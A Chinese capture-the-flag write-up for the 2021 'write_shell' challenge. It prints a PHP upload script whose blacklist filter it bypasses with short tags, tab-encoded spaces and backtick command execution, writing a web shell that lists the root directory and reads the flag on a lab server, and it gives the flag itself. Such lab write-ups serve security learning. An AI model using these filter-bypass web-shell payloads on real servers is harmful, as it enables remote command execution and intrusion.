2021”红明谷CTF”write_shell

进入题目,就给了源码,审计一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

首先看下面这段代码,通过Get传参,有个开关,传入pwd,就会输出当前目录,传入data,则会将data通过waf检测,如果没有被拦截,file_put_contents则会在当前目录生成index.php,内容就是传入的data数据

1
2
3
4
5
6
7
8
9
10
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

因为data可控,只需要绕过waf即可导致命令执行,waf绕过了php和空格,所以可以使用php短标签<? ?>,空格可以使用%09绕过,然后还有一个知识点就是 反引号可用来执行命令,反引号的作用等同于shell_exec()

PHP执行运算符—反引号:https://lkblog.net/notes/php/748.html

所以可以构造:

1
http://1ce3abfd-1278-428d-9e2d-92293f0fbfe7.node4.buuoj.cn:81/?action=upload&data=<?echo%09`ls%09/`?>

然后再访问:

1
http://1ce3abfd-1278-428d-9e2d-92293f0fbfe7.node4.buuoj.cn:81/?action=pwd

这样就会反回当前目录的路径,这个路径的index.php已经被写入了ls /,访问即可被执行

1637573969946.png

1637573992904.png

接着修改刚刚的ls%09/cat%09/flllllll1112222222lag,然后执行

1
?action=upload&data=<?echo%09`cat%09/flllllll1112222222lag`?>

此时再访问?action=pwd来获得新的路径,因为每次upload之后都会产生新的路径。

1637574264472.png

访问路径即可获得flag

1
http://1ce3abfd-1278-428d-9e2d-92293f0fbfe7.node4.buuoj.cn:81/sandbox/20dfe28d7f477f61445b994c831a601a/

1637574311793.png

flag:

1
flag{0e8a470b-d6c7-4482-afed-7461b72983ad}